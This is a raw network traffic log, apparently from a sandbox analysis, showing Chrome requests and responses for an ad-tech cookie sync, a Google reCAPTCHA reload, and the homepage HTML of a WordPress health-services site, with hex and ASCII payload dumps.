2024-04-24 12:44:49 UTC	940	OUT	GET /ul_cb/syncd?dsp_id=93&user_group=1&user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expires=30&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbidswitch HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=6620ae41-7969-4834-b48e-3bf84bd1f044; c=1713962688; tuuid_lu=1713962688
2024-04-24 12:44:49 UTC	523	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 24 Apr 2024 12:44:49 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: https://match.adsrvr.org/track/cmf/generic?ttd_pid=bidswitch Set-Cookie: tuuid=6620ae41-7969-4834-b48e-3bf84bd1f044; path=/; expires=Thu, 24-Apr-2025 12:44:49 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1713962689; path=/; expires=Thu, 24-Apr-2025 12:44:49 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49931	142.250.141.104	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:49 UTC	975	OUT	POST /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 10349 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-protobuffer Accept: / Origin: https://www.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6f0-AU0ZVVvbmh6dkGVd8Yz_j0mI5cetlhPJAQfYHaoqIBzpCMNTnw-wulni80qzNludahOGkL_6T-bQa0
2024-04-24 12:44:49 UTC	10349	OUT	Data Raw: 0a 18 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 12 8e 0f 30 33 41 46 63 57 65 41 37 52 5f 55 48 4e 57 71 66 55 44 44 58 4f 4d 37 78 36 4b 68 55 64 57 51 55 66 63 6e 63 38 56 4a 34 36 65 68 64 65 62 57 76 4a 59 5f 7a 6a 4b 59 61 66 37 6e 53 72 63 5f 66 62 79 6b 4e 63 58 78 57 34 5f 36 4a 77 68 48 67 33 74 6a 77 6d 41 50 47 5a 65 61 67 69 53 4c 63 48 4b 78 4d 59 4f 78 61 4b 4e 5f 36 63 6e 70 58 4e 37 73 6e 51 61 78 34 61 63 35 55 35 41 7a 41 54 4f 43 71 4f 55 76 74 51 33 68 36 4a 5a 69 67 69 43 76 51 6a 74 58 4b 58 63 73 4d 6e 72 43 72 38 72 74 49 37 4a 65 35 58 41 6c 59 78 44 34 6f 79 32 46 64 45 5f 38 39 6e 34 30 38 51 38 4b 46 73 45 49 48 4e 41 67 77 77 2d 64 72 47 36 45 48 68 76 50 55 6b 54 5a 4c 74 43 74 4c 4e 2d 35 45 48 Data Ascii: QoukH5jSO3sKFzVEA7Vc8VgC03AFcWeA7R_UHNWqfUDDXOM7x6KhUdWQUfcnc8VJ46ehdebWvJY_zjKYaf7nSrc_fbykNcXxW4_6JwhHg3tjwmAPGZeagiSLcHKxMYOxaKN_6cnpXN7snQax4ac5U5AzATOCqOUvtQ3h6JZigiCvQjtXKXcsMnrCr8rtI7Je5XAlYxD4oy2FdE_89n408Q8KFsEIHNAgww-drG6EHhvPUkTZLtCtLN-5EH
2024-04-24 12:44:49 UTC	696	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Wed, 24 Apr 2024 12:44:49 GMT Expires: Wed, 24 Apr 2024 12:44:49 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE;Path=/recaptcha;Expires=Mon, 21-Oct-2024 12:44:49 GMT;Secure;HttpOnly;Priority=HIGH;SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:44:49 UTC	559	IN	Data Raw: 32 33 61 0d 0a 29 5d 7d 27 0a 5b 22 72 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 37 47 33 67 51 70 32 78 65 46 76 44 48 51 44 44 67 30 72 4a 4f 4c 69 70 41 58 67 31 67 5f 59 69 54 43 52 4d 56 67 56 68 6c 46 36 49 70 2d 76 36 63 52 77 30 61 4a 70 49 61 52 41 46 37 44 71 44 4c 66 63 4c 4c 63 79 69 47 48 48 4f 56 43 76 43 31 6c 37 54 61 37 33 61 6c 71 68 50 69 77 34 65 6f 5f 79 7a 69 77 69 43 34 53 65 55 4e 75 47 73 38 59 58 55 76 79 77 7a 52 73 73 59 66 6d 4f 4a 51 58 33 36 2d 73 34 6c 66 7a 41 4e 4d 57 5a 59 63 65 66 56 4a 51 43 38 79 42 73 4b 43 49 63 33 51 65 4b 41 42 43 55 55 73 58 72 69 66 46 49 62 42 36 44 45 5f 41 54 4e 46 32 4d 44 67 5f 5a 7a 41 36 4b 52 63 70 2d 37 52 45 53 52 47 6c 67 77 52 35 4a 6e 55 32 48 6b 6a 4c 69 6e 33 56 61 5f 6d 34 4f Data Ascii: 23a)]}'["rresp","03AFcWeA7G3gQp2xeFvDHQDDg0rJOLipAXg1g_YiTCRMVgVhlF6Ip-v6cRw0aJpIaRAF7DqDLfcLLcyiGHHOVCvC1l7Ta73alqhPiw4eo_yziwiC4SeUNuGs8YXUvywzRssYfmOJQX36-s4lfzANMWZYcefVJQC8yBsKCIc3QeKABCUUsXrifFIbB6DE_ATNF2MDg_ZzA6KRcp-7RESRGlgwR5JnU2HkjLin3Va_m4O
2024-04-24 12:44:49 UTC	18	IN	Data Raw: 73 47 6e 30 6c 59 58 64 51 78 44 6b 44 57 6c 6e 0d 0a Data Ascii: sGn0lYXdQxDkDWln
2024-04-24 12:44:49 UTC	1255	IN	Data Raw: 61 33 37 0d 0a 76 34 63 6a 53 6b 6e 61 39 55 31 45 74 58 75 61 4c 61 70 5f 74 2d 54 74 66 6e 46 32 74 49 49 43 70 72 33 39 51 54 5f 70 5a 42 71 6d 76 66 73 30 4f 67 5a 4b 70 31 57 71 4d 39 65 57 30 64 32 69 7a 52 76 70 32 75 55 5f 52 4a 71 44 46 56 6d 4b 30 62 55 67 62 39 6b 63 74 68 63 6b 56 46 74 56 62 34 72 30 76 66 6c 54 6f 6b 76 50 65 48 43 6c 76 73 49 73 42 44 56 63 6b 71 77 47 43 6c 4d 49 43 6f 34 6c 4b 6c 63 4f 53 6d 35 5a 43 43 45 51 49 6a 7a 2d 6e 68 69 4a 43 52 44 34 76 69 59 77 4c 6e 4a 49 58 50 50 63 77 69 4c 59 6a 56 6a 49 42 5a 63 6f 43 75 6d 39 37 6e 67 38 46 30 5f 50 57 47 30 36 6f 77 6b 57 73 38 63 30 7a 32 75 58 58 34 4c 2d 72 68 6d 30 41 6d 6f 63 67 77 6a 61 4d 71 51 75 47 50 32 51 33 57 5a 72 36 49 44 45 77 45 33 52 77 65 59 59 68 6b Data Ascii: a37v4cjSkna9U1EtXuaLap_t-TtfnF2tIICpr39QT_pZBqmvfs0OgZKp1WqM9eW0d2izRvp2uU_RJqDFVmK0bUgb9kcthckVFtVb4r0vflTokvPeHClvsIsBDVckqwGClMICo4lKlcOSm5ZCCEQIjz-nhiJCRD4viYwLnJIXPPcwiLYjVjIBZcoCum97ng8F0_PWG06owkWs8c0z2uXX4L-rhm0AmocgwjaMqQuGP2Q3WZr6IDEwE3RweYYhk
2024-04-24 12:44:49 UTC	1255	IN	Data Raw: 39 68 33 34 67 42 76 77 4a 6d 6b 38 51 48 6e 6d 41 55 49 61 71 43 4c 6f 30 65 31 47 59 4a 51 68 42 43 56 79 37 69 71 46 72 41 32 4a 70 4d 64 4c 51 4e 5a 5f 78 56 62 48 61 51 51 66 6b 45 6c 4c 62 4f 76 6f 52 5a 75 36 54 6b 59 68 34 37 76 35 6e 53 6b 39 70 33 6a 51 7a 62 6c 6e 32 37 56 2d 59 55 4a 58 70 33 32 7a 38 33 5f 52 72 35 48 77 6a 5a 47 5f 41 6c 4a 35 48 48 7a 67 4c 4d 41 49 78 47 42 6b 57 37 69 34 68 4f 4d 4d 4e 68 39 4c 41 56 5f 61 4e 32 32 77 6d 63 75 6e 4b 42 7a 2d 43 39 45 64 56 79 71 73 45 73 32 52 62 6b 73 31 5f 38 72 58 45 7a 6e 6d 50 56 66 42 6a 67 4c 36 7a 33 47 63 62 62 68 58 44 6b 6c 50 66 7a 37 6c 7a 32 50 36 33 54 57 47 70 41 31 54 55 39 30 6d 39 37 67 64 48 6e 34 56 4d 35 58 55 33 51 53 63 4f 50 6c 77 54 52 54 44 51 46 5f 50 37 76 61 Data Ascii: 9h34gBvwJmk8QHnmAUIaqCLo0e1GYJQhBCVy7iqFrA2JpMdLQNZ_xVbHaQQfkElLbOvoRZu6TkYh47v5nSk9p3jQzbln27V-YUJXp32z83_Rr5HwjZG_AlJ5HHzgLMAIxGBkW7i4hOMMNh9LAV_aN22wmcunKBz-C9EdVyqsEs2Rbks1_8rXEznmPVfBjgL6z3GcbbhXDklPfz7lz2P63TWGpA1TU90m97gdHn4VM5XU3QScOPlwTRTDQF_P7va
2024-04-24 12:44:49 UTC	112	IN	Data Raw: 30 2d 32 32 70 4d 4d 73 55 37 43 55 78 68 5f 45 65 59 63 76 6b 35 4b 69 6a 51 4b 57 74 6c 48 6f 39 6d 59 66 2d 36 58 49 45 62 78 59 43 65 41 35 73 4e 47 67 38 6f 77 33 75 2d 78 63 46 6c 39 69 6b 4d 6b 59 6c 78 7a 52 67 52 47 6a 31 7a 44 41 4c 57 47 59 75 74 50 79 68 59 34 49 7a 77 34 6c 70 43 35 37 4a 51 77 73 53 5f 31 6b 69 64 0d 0a Data Ascii: 0-22pMMsU7CUxh_EeYcvk5KijQKWtlHo9mYf-6XIEbxYCeA5sNGg8ow3u-xcFl9ikMkYlxzRgRGj1zDALWGYutPyhY4Izw4lpC57JQwsS_1kid
2024-04-24 12:44:49 UTC	1255	IN	Data Raw: 31 35 39 33 0d 0a 50 55 65 6f 58 69 61 58 66 42 74 6c 4b 79 2d 32 74 48 70 65 61 68 67 36 51 44 76 39 39 35 59 50 58 58 41 6e 73 4b 76 38 67 4c 6f 43 41 77 34 6e 5a 7a 4b 77 2d 65 78 39 37 58 75 78 61 51 6d 72 32 31 34 61 6d 31 70 72 73 6c 30 71 77 38 4b 67 53 32 61 48 30 33 48 4b 47 55 6c 62 7a 74 79 61 65 78 6e 6a 5f 32 6e 65 51 58 30 5f 37 33 6c 52 37 48 66 72 75 64 6a 31 4e 6d 36 65 50 79 49 76 79 63 64 58 64 68 61 6a 32 76 32 56 2d 52 79 59 69 6a 6e 6a 51 78 36 4d 31 4d 53 5a 77 70 52 48 69 57 54 61 5f 5a 41 7a 66 6b 48 5f 77 6c 33 4c 6e 61 38 66 43 62 65 7a 55 5a 6e 30 44 55 77 52 31 48 6b 59 76 39 53 6e 54 67 77 4b 53 32 42 4c 63 7a 54 4c 59 77 4a 2d 63 35 2d 64 36 31 6e 53 56 4c 69 4b 5a 42 50 68 6b 44 72 6a 5f 50 66 4f 50 76 68 59 54 72 37 68 72 Data Ascii: 1593PUeoXiaXfBtlKy-2tHpeahg6QDv995YPXXAnsKv8gLoCAw4nZzKw-ex97XuxaQmr214am1prsl0qw8KgS2aH03HKGUlbztyaexnj_2neQX0_73lR7Hfrudj1Nm6ePyIvycdXdhaj2v2V-RyYijnjQx6M1MSZwpRHiWTa_ZAzfkH_wl3Lna8fCbezUZn0DUwR1HkYv9SnTgwKS2BLczTLYwJ-c5-d61nSVLiKZBPhkDrj_PfOPvhYTr7hr
2024-04-24 12:44:49 UTC	1255	IN	Data Raw: 59 74 6e 49 6c 62 63 51 79 34 59 32 47 4c 2d 36 51 65 43 33 48 61 35 6b 36 6e 57 43 4e 56 77 30 48 37 66 6f 4a 42 37 61 49 4f 77 58 5a 57 53 46 4d 51 65 51 63 45 34 4b 57 74 47 61 47 4e 66 37 36 54 75 64 59 4e 38 4a 35 37 44 56 33 74 58 77 4d 2d 39 4d 52 78 74 6d 33 6d 69 5a 4a 6c 58 34 6c 5a 7a 4d 68 4e 35 6c 48 69 34 55 4a 68 2d 47 51 5f 7a 44 72 6a 46 35 32 44 6c 64 58 51 4c 2d 59 6f 54 39 47 36 30 7a 76 6a 4d 34 32 4d 30 5a 4b 42 38 4a 4a 76 36 43 5f 76 36 39 74 6e 36 58 54 41 65 44 50 4b 43 6d 79 6b 7a 39 54 70 6b 32 6c 51 61 7a 47 4f 49 42 4c 4d 6f 4a 55 54 79 52 39 48 66 36 37 58 76 52 44 59 50 4f 52 49 61 6f 35 74 4b 2d 76 48 43 6a 48 34 66 79 4a 56 74 51 76 78 63 31 55 56 6b 4b 75 46 64 2d 31 58 4b 39 73 5f 68 41 6e 70 4f 59 78 48 78 58 39 46 59 Data Ascii: YtnIlbcQy4Y2GL-6QeC3Ha5k6nWCNVw0H7foJB7aIOwXZWSFMQeQcE4KWtGaGNf76TudYN8J57DV3tXwM-9MRxtm3miZJlX4lZzMhN5lHi4UJh-GQ_zDrjF52DldXQL-YoT9G60zvjM42M0ZKB8JJv6C_v69tn6XTAeDPKCmykz9Tpk2lQazGOIBLMoJUTyR9Hf67XvRDYPORIao5tK-vHCjH4fyJVtQvxc1UVkKuFd-1XK9s_hAnpOYxHxX9FY
2024-04-24 12:44:49 UTC	1255	IN	Data Raw: 52 79 56 57 49 79 4b 30 6c 74 51 30 4a 53 54 56 42 4a 61 32 39 4f 56 47 31 78 51 6d 63 31 64 32 5a 79 55 30 31 34 53 6b 77 32 51 57 56 51 63 31 68 69 63 56 68 6c 61 58 68 6d 5a 6b 31 6d 53 6c 59 77 4d 6e 4e 6e 53 6c 64 4e 57 53 74 44 55 31 64 48 53 47 74 61 61 30 34 79 56 30 34 78 54 32 46 45 61 7a 6c 51 4d 32 6b 7a 52 44 4a 45 54 56 68 78 4d 33 59 32 62 56 41 34 63 6d 6b 30 52 6b 52 71 5a 6d 59 30 52 6a 4a 49 62 30 4a 52 51 6d 68 75 61 33 52 47 4f 44 46 43 4e 47 63 72 55 6e 6f 32 56 6d 31 5a 65 56 51 76 63 56 41 77 53 30 5a 33 65 6c 6b 34 63 6a 4a 44 4f 44 4a 48 56 79 74 6c 4b 7a 4e 47 57 6b 56 54 51 6e 6c 47 4d 45 74 59 64 32 4a 52 63 44 52 4f 51 30 5a 69 63 47 31 4d 4f 44 52 44 61 6e 6c 34 54 6e 4e 4b 52 6c 56 52 54 56 64 4a 4d 30 46 4e 56 54 42 69 4c Data Ascii: RyVWIyK0ltQ0JSTVBJa29OVG1xQmc1d2ZyU014Skw2QWVQc1hicVhlaXhmZk1mSlYwMnNnSldNWStDU1dHSGtaa04yV04xT2FEazlQM2kzRDJETVhxM3Y2bVA4cmk0RkRqZmY0RjJIb0JRQmhua3RGODFCNGcrUno2Vm1ZeVQvcVAwS0Z3elk4cjJDODJHVytlKzNGWkVTQnlGMEtYd2JRcDROQ0ZicG1MODRDanl4TnNKRlVRTVdJM0FNVTBiL
2024-04-24 12:44:49 UTC	1255	IN	Data Raw: 6c 49 77 4e 33 4e 6f 63 47 31 79 5a 6b 77 34 63 55 59 31 51 57 55 79 55 31 64 44 4d 69 73 77 62 56 52 72 62 54 49 34 55 6a 42 72 5a 6b 5a 77 63 45 35 68 56 6d 39 36 63 31 4e 4f 61 58 64 33 62 6d 70 73 64 33 4d 76 4d 32 77 79 64 44 56 34 56 57 6b 79 55 30 4e 61 62 54 42 50 61 55 6c 6d 4e 56 67 78 4e 6b 6c 72 4c 32 68 76 55 31 46 55 5a 46 55 32 63 55 6c 4b 54 6c 46 6d 56 6b 5a 51 63 33 49 78 61 58 49 34 52 58 67 77 65 6c 64 59 61 7a 4e 4c 64 45 35 68 5a 6a 56 46 57 6a 4e 73 4e 6e 70 49 61 31 70 53 55 57 67 7a 51 69 39 77 4c 7a 4d 33 62 6b 68 52 55 31 52 72 4b 7a 56 68 5a 6e 64 72 64 47 68 47 56 45 78 59 54 47 52 77 55 6e 46 45 64 54 56 42 51 55 39 55 51 54 42 32 52 32 52 6e 4e 56 5a 55 64 33 70 71 64 44 59 78 4e 31 64 7a 64 57 52 42 5a 33 55 77 61 6d 74 4e Data Ascii: lIwN3NocG1yZkw4cUY1QWUyU1dDMiswbVRrbTI4UjBrZkZwcE5hVm96c1NOaXd3bmpsd3MvM2wydDV4VWkyU0NabTBPaUlmNVgxNklrL2hvU1FUZFU2cUlKTlFmVkZQc3IxaXI4RXgweldYazNLdE5hZjVFWjNsNnpIa1pSUWgzQi9wLzM3bkhRU1RrKzVhZndrdGhGVExYTGRwUnFEdTVBQU9UQTB2R2RnNVZUd3pqdDYxN1dzdWRBZ3UwamtN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49933	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:49 UTC	862	OUT	GET / HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:50 UTC	657	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 147166 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding x-powered-by: WP Engine Link: <https://valleyprohealth.org/wp-json/>; rel="https://api.w.org/" Link: <https://valleyprohealth.org/wp-json/wp/v2/pages/1321>; rel="alternate"; type="application/json" Link: <https://valleyprohealth.org/>; rel=shortlink X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate Accept-Ranges: bytes X-Cache: HIT: 5 X-Cache-Group: normal
2024-04-24 12:44:50 UTC	15727	IN	Data Raw: 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 73 74 79 6c 65 3d 22 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 20 73 6d 6f 6f 74 68 3b 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 77 2c 20 64 2c 20 73 2c 20 6c 2c 20 69 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 5b 6c 5d 20 3d 20 77 5b 6c 5d 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 5b 6c 5d 2e 70 75 73 68 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 67 74 6d 2e 73 74 61 72 74 27 3a 20 6e 65 77 20 44 61 74 65 28 29 2e 67 65 Data Ascii: <!doctype html><html lang="en-US" style="scroll-behavior: smooth;"><head> ... Google Tag Manager --> <script> (function(w, d, s, l, i) { w[l] = w[l] \|\| []; w[l].push({ 'gtm.start': new Date().ge
2024-04-24 12:44:50 UTC	16384	IN	Data Raw: 61 73 2d 77 68 69 74 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 Data Ascii: as-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--c
2024-04-24 12:44:50 UTC	16384	IN	Data Raw: 61 69 6e 2d 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 2d 77 72 61 70 70 65 72 2e 64 2d 69 6e 6c 69 6e 65 2d 66 6c 65 78 2e 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 2e 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 34 30 25 3b 0a 7d 0a 09 2e 6d 61 69 6e 2d 66 6f 6f 74 65 72 5f 5f 63 6f 6d 70 61 6e 79 20 2e 72 6f 77 20 2e 63 6f 6c 2d 39 2e 63 6f 6c 2d 6d 64 2d 36 20 2e 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 65 6e 64 2e 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 78 6c 2d 73 74 61 72 74 2e 66 6f 6f 74 65 72 5f 62 61 64 67 65 73 20 69 6d 67 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 7d 0a 09 0a 7d 0a 0a 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e Data Ascii: ain-footer__logo-wrapper.d-inline-flex.justify-content-center.align-items-center { width: 40%;}.main-footer__company .row .col-9.col-md-6 .justify-content-end.justify-content-xl-start.footer_badges img { padding: 10px;}}@media only screen
2024-04-24 12:44:50 UTC	16384	IN	Data Raw: 32 20 30 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d 31 2e 32 2e 35 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 7a 6d 31 32 20 30 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d 31 2e 32 2e 35 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 7a 6d 2d 36 30 2e 31 20 30 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d 31 2e 32 2e 36 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 7a 6d 31 32 2e 31 2d 31 32 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d Data Ascii: 2 0c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-1.2-.5-1.2-1.2.5-1.2 1.2-1.2zm12 0c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-1.2-.5-1.2-1.2.5-1.2 1.2-1.2zm-60.1 0c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-1.2-.5-1.2-1.2.6-1.2 1.2-1.2zm12.1-12c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-
2024-04-24 12:44:50 UTC	16384	IN	Data Raw: 61 73 73 3d 22 77 2d 31 30 30 20 63 72 75 6e 63 68 2d 62 75 74 74 6f 6e 20 63 2d 6d 74 2d 35 20 63 2d 6d 79 2d 6d 64 2d 33 20 64 2d 62 6c 6f 63 6b 20 64 2d 73 6d 2d 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 20 63 72 75 6e 63 68 2d 62 75 74 74 6f 6e 5f 5f 66 75 6c 6c 2d 62 61 63 6b 67 72 6f 75 6e 64 20 63 72 75 6e 63 68 2d 62 75 74 74 6f 6e 5f 5f 66 75 6c 6c 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 70 72 69 6d 61 72 79 2d 63 6f 6c 6f 72 20 63 72 75 6e 63 68 2d 62 75 74 74 6f 6e 5f 5f 66 75 6c 6c 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 6d 65 64 69 75 6d 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 61 72 67 65 74 3d 22 5f 73 65 6c 66 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 47 6f 6f 64 20 46 61 69 74 68 20 45 73 74 69 6d 61 74 Data Ascii: ass="w-100 crunch-button c-mt-5 c-my-md-3 d-block d-sm-inline-block crunch-button__full-background crunch-button__full-background--primary-color crunch-button__full-background--medium" target="_self"> Good Faith Estimat
2024-04-24 12:44:50 UTC	16384	IN	Data Raw: 72 69 6d 61 72 79 2d 63 6f 6c 6f 72 20 63 72 75 6e 63 68 2d 62 75 74 74 6f 6e 5f 5f 66 75 6c 6c 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 6d 65 64 69 75 6d 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 61 72 67 65 74 3d 22 5f 73 65 6c 66 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 56 69 65 77 20 41 6c 6c 20 53 65 72 76 69 63 65 73 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a Data Ascii: rimary-color crunch-button__full-background--medium" target="_self"> View All Services </a> </div> </div> </div> </div> </div></div>
